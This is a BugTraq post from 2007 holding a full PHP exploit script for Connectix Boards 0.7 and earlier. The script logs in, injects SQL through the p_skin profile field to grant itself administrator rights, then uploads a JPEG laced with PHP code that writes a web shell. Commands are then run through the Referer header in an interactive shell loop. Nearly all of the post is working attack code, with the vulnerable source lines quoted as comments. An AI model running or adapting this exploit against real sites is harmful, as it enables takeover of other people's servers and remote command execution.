BugTraq
Connectix Boards <= 0.7 (p_skin) Multiple Vulnerabilities Exploit Feb 21 2007 05:30PM
gmdarkfig gmail com
#!/usr/bin/php
<?php
/**
* This file require the PhpSploit class.
* If you want to use this class, the latest
* version can be downloaded from acid-root.new.fr.
**/
require("phpsploitclass.php");
error_reporting(E_ALL ^ E_NOTICE);

if($argc < 9) {
print("
Connectix Boards <= 0.7 (p_skin) Multiple Vulnerabilities Exploit
-------------------------------------------------------------------
PHP conditions: none
Credits: DarkFig <gmdarkfig (at) gmail (dot) com [email concealed]>
URL: http://www.acid-root.new.fr/
-------------------------------------------------------------------
Usage: $argv[0] -url <> -usr <> -pwd <> -type <> [Options]
Params: -url For example http://victim.com/connectix/
-usr The username of your account
-pwd The password of your account
-type Privilege Escalation(1) or Code execution(2)
Options: -proxy If you wanna use a proxy <proxyhost:proxyport>
-proxyauth Basic authentification <proxyuser:proxypwd>
-------------------------------------------------------------------
"); exit(1);
}

$url = getparam('url',1);
$user = getparam('usr',1);
$pass = getparam('pwd',1);
$type = getparam('type',1);
$proxy = getparam('proxy');
$authp = getparam('proxyauth');
$theme = 'Zephyr';

$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");
$xpl->allowredirection(1);
$xpl->cookiejar(1);
if($proxy) $xpl->proxy($proxy);
if($authp) $xpl->proxyauth($authp);

print "\nTrying to get logged in";
$xpl->post($url.'index.php?act=login',"username=$user&password=$pass&rem
ember=on&confirm=Connexion+%21");
if(preg_match("#password#",$xpl->showcookie())) print "\nLogged in";
else exit("\nExploit failed");

sploit(", usr_class=1");
if($type==1) exit("\nDone, $user is now admin.");

# Fake JPG (with php code) generated with edjpgcom.exe
#
# <?php $handle=fopen('mdrpipicacalolxdwtf.gif.php','w+');
# fwrite($handle,'<?php @system($_SERVER[HTTP_REFERER]); ?/>');
# fclose($handle); unlink($_SERVER[PHP_SELF]); ?/>
#
$f = "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x00\x60\x00\x6
0\x00\x00\xFF"
."\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\x09\x09\x08\x
0A\x0C\x14"
."\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x
1C\x20\x24"
."\x2E\x27\x20\x22\x2C\x23\x1C\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x
1F\x27\x39"
."\x3D\x38\x32\x3C\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x
0B\x0C\x18"
."\x0D\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x
32\x32\x32"
."\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x
32\x32\x32"
."\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x
FF\xFE\x00"
."\xA5\x3C\x3F\x70\x68\x70\x20\x24\x68\x61\x6E\x64\x6C\x65\x3D\x66\x6F\x
70\x65\x6E"
."\x28\x27\x6D\x64\x72\x70\x69\x70\x69\x63\x61\x63\x61\x6C\x6F\x6C\x78\x
64\x77\x74"
."\x66\x2E\x67\x69\x66\x2E\x70\x68\x70\x27\x2C\x27\x77\x2B\x27\x29\x3B\x
66\x77\x72"
."\x69\x74\x65\x28\x24\x68\x61\x6E\x64\x6C\x65\x2C\x27\x3C\x3F\x70\x68\x
70\x20\x40"
."\x73\x79\x73\x74\x65\x6D\x28\x24\x5F\x53\x45\x52\x56\x45\x52\x5B\x48\x
54\x54\x50"
."\x5F\x52\x45\x46\x45\x52\x45\x52\x5D\x29\x3B\x20\x3F\x3E\x27\x29\x3B\x
66\x63\x6C"
."\x6F\x73\x65\x28\x24\x68\x61\x6E\x64\x6C\x65\x29\x3B\x20\x75\x6E\x6C\x
69\x6E\x6B"
."\x28\x24\x5F\x53\x45\x52\x56\x45\x52\x5B\x50\x48\x50\x5F\x53\x45\x4C\x
46\x5D\x29"
."\x3B\x20\x3F\x3E\xFF\xC0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00\x
02\x11\x01"
."\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x
00\x00\x00"
."\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\xFF\x
C4\x00\xB5"
."\x10\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x
01\x02\x03"
."\x00\x04\x11\x05\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x
81\x91\xA1"
."\x08\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x
17\x18\x19"
."\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x
46\x47\x48"
."\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68\x69\x
6A\x73\x74"
."\x75\x76\x77\x78\x79\x7A\x83\x84\x85\x86\x87\x88\x89\x8A\x92\x93\x94\x
95\x96\x97"
."\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\x
B7\xB8\xB9"
."\xBA\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\x
D9\xDA\xE1"
."\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\x
F9\xFA\xFF"
."\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00\x
00\x00\x00"
."\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x11\x
00\x02\x01"
."\x02\x04\x04\x03\x04\x07\x05\x04\x04\x00\x01\x02\x77\x00\x01\x02\x03\x
11\x04\x05"
."\x21\x31\x06\x12\x41\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\x
A1\xB1\xC1"
."\x09\x23\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1\x25\xF1\x17\x
18\x19\x1A"
."\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47\x48\x
49\x4A\x53"
."\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68\x69\x6A\x73\x74\x
75\x76\x77"
."\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x
97\x98\x99"
."\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\x
B9\xBA\xC2"
."\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\x
E2\xE3\xE4"
."\xE5\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x
00\x0C\x03"
."\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF7\xFA\x28\xA2\x80\x3F\xFF\xD9";

# +admin.bbcode.php
# |
# 95. if(isset($_POST['wherefile'])) {
# 96. if ($_POST['wherefile']=='upload') {
# 97. if (!empty($_FILES['uploadimage']['size'])){
# 98. if ($image=getimagesize(trim($_FILES['uploadimage']['tmp_name']))) {
# 99. $val = array(IMAGETYPE_GIF,IMAGETYPE_JPEG,IMAGETYPE_PNG);
# 100. if ($_FILES['uploadimage']['size'] <= 20480 && in_array($image[2],$val)) {
# 101. $filename = $smile->smiley_librariesdir.$_POST['sm_filenameserver'];
# 102. $filename = str_replace('../','',trim($filename));
# 103. //si le filenameserver contient un dossier : on crée ce dossier:
# 104. mkdirs($smile->smiley_dir.dirname($filename));
# 105. if (move_uploaded_file($_FILES['uploadimage']['tmp_name'], $smile->smiley_dir.$_POST['sm_filenameserver'])) {
# 106. $do=true;
# 107. }
#
$arr = array(frmdt_url => $url.'admin.php?act=bb&sub=4',
"sm_name" => ":AbCdEfGhIj1234dsupersmilepowaa:",
"sm_filenamesubdir" => "libraries/",
"sm_filenameserver" => "xd.gif.php",
"wherefile" => "upload",
"sm_send" => "Confirmer",
"uploadimage" => array(frmdt_type => "image/gif",
frmdt_filename => "xd.gif.php",
frmdt_content => $f));
$xpl->formdata($arr);
$xpl->get($url."smileys/xd.gif.php");
print "\n\$shell> ";

while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
$xpl->addheader("Referer",$cmd);
$xpl->get($url."smileys/mdrpipicacalolxdwtf.gif.php");
print $xpl->getcontent()."\n\$shell> ";
}

function sploit($sql)
{
global $url,$xpl,$theme,$user;
$pdat = "changeparams=1"
."&p_usrs=20"
."&p_topics=20"
."&p_msgs=15"
."&p_res=12"
."&p_skin=$theme"
."%00',usr_pref_skin='$theme',usr_signature=(SELECT '[XPL_IS_OK]')$sql WHERE usr_name='$user' #"
."&p_lang=fr"
."&p_timezone=1";

# +common.php
# |
# 95. function cleanArray(&$arr) {
# 96. if (!empty($arr) && is_array($arr)) {
# 97. foreach($arr as $k => $v) {
# 98. if (is_array($v)) cleanArray($arr[$k]);
# 99. else $arr[$k] = stripslashes($v);
# 100. }
# 101. }
# 102. }
# |
# 105. if (get_magic_quotes_gpc()) {
# 106. cleanArray($_POST);
# 107. cleanArray($_COOKIE);
# 108. cleanArray($_GET);
# 109. }
#
# +part.userprofile.php
# |
# 305. /* Changement des paramètres d'affichage (pas accessible par les modos ou admins) */
# 306. } elseif (isset($_POST['changeparams']) && $edit_id==$_SESSION['userid']) {
# 307. if ( isset($_POST['p_usrs'],$_POST['p_topics'],$_POST['p_msgs'],$_POST['p_res
'],$_POST['p_skin'],$_POST['p_lang'],$_POST['p_timezone']) ) {
# 308. if (is_numeric($_POST['p_usrs']) && is_numeric($_POST['p_topics']) && is_numeric($_POST['p_msgs']) && is_numeric($_POST['p_res']) && isLang($_POST['p_lang']) && isSkin($_POST['p_skin'])) {
# 309. if ((int)$_POST['p_usrs']>=5 && (int)$_POST['p_usrs']<=50 && (int)$_POST['p_topics']>=5 && (int)$_POST['p_topics']<=50 && (int)$_POST['p_msgs']>=5 && (int)$_POST['p_msgs']<=50 && (int)$_POST['p_res']>=5 && (int)$_POST['p_res']<=50 && in_array($_POST['p_timezone'],array_keys($timezones))) {
# 310. $GLOBALS['cb_db']->query("UPDATE ".$GLOBALS['cb_db']->prefix."users SET usr_pref_msgs='".(int)$_POST['p_msgs']."',usr_pref_usrs='".(int)$_POST['
p_usrs']."',usr_pref_topics='".(int)$_POST['p_topics']."',usr_pref_res='
".(int)$_POST['p_res']."',usr_pref_lang='".$_POST['p_lang']."',usr_pref_
skin='".$_POST['p_skin']."',usr_pref_timezone='".$_POST['p_timezone']."'
,usr_pref_ctsummer=".((int)(isset($_POST['p_ctsummer']) && $_POST['p_ctsummer']=='on'))." WHERE usr_id=".$_SESSION['cb_user']->userid);
# 311. $_SESSION['cb_user']->reloadnext=true;
# 312. redirect(manage_url('index.php?act=user&editprofile='.$_SESSION['userid'
].'&page=6','forum-profile'.$_SESSION['userid'].'-params.html'));
#
# +lib.cb.php
# |
# 117. function isLang ($langtype) {
# 118. return is_dir(CB_PATH.'lang/'.$langtype);
# 119. }
# |
# 133. function isSkin ($skintype) {
# 134. return is_dir(CB_PATH.'skins/'.$skintype);
# 135. }
$xpl->post($url."index.php?act=user&editprofile=-1&page=6",$pdat);
$xpl->get($url."index.php?act=user&editprofile=-1&page=5");

if(preg_match('#[XPL_IS_OK]#',$xpl->getcontent())) return;
else exit("Exploit failed");
}

function getparam($param,$opt='')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param) return $argv[$value+1];
}
if($opt) exit("\n-$param parameter required");
else return;
}

?>

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